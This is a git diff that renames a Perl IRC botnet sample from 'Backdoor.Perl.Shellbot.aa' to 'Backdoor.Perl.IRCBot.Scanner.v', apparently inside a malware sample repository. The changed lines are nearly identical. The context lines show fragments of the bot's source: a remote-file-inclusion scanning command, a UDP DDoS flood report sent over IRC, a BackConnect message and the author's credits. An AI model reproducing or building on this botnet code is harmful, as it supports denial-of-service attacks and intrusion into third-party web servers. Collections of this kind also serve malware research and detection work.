diff --git a/Perl/Backdoor.Perl.Shellbot.aa b/Perl/Backdoor.Perl.IRCBot.Scanner.v
similarity index 95%
rename from Perl/Backdoor.Perl.Shellbot.aa
rename to Perl/Backdoor.Perl.IRCBot.Scanner.v
index 475f2562..cabbb418 100644
--- a/Perl/Backdoor.Perl.Shellbot.aa
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.v
@@ -280,7 +280,7 @@ sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\0034[BackConnect]\003\002: Conne
 #SCANNER 
            if ($funcarg =~ /^rfiscan\s+(\d+)\s+(.*)/) {
 	     $boturl=$2;
-   sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\0034Scan\003\002 » Scanning for Remote file inclusion using \002 ".$boturl." \002 for \002 ".$1." seconds.");
+   sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\0034Scan\003\002 » Scanning for Remote file inclusion using \002 ".$boturl." \002 for \002 ".$1." seconds.");
      srand;
      my $itime = time;
      my ($cur_time);
@@ -341,7 +341,7 @@ else {
              $bytes{o} = $2 * $pacotes{o};
              $bytes{udp} = $2 * $pacotes{udp};
              $bytes{tcp} = $2 * $pacotes{tcp};
-             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Média ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." Kb in ".$dtime." seconds to ".$1.".");
+             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Média ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." Kb in ".$dtime." seconds to ".$1.".");
            }
            exit;
        }
@@ -608,4 +608,4 @@ close($sock);
 # www.morganxpl.com
 # morgan.rx@gmail.com
 
-# NOTE: DONT REMOVE COPYRIGHTS
\ No newline at end of file
+# NOTE: DONT REMOVE COPYRIGHTS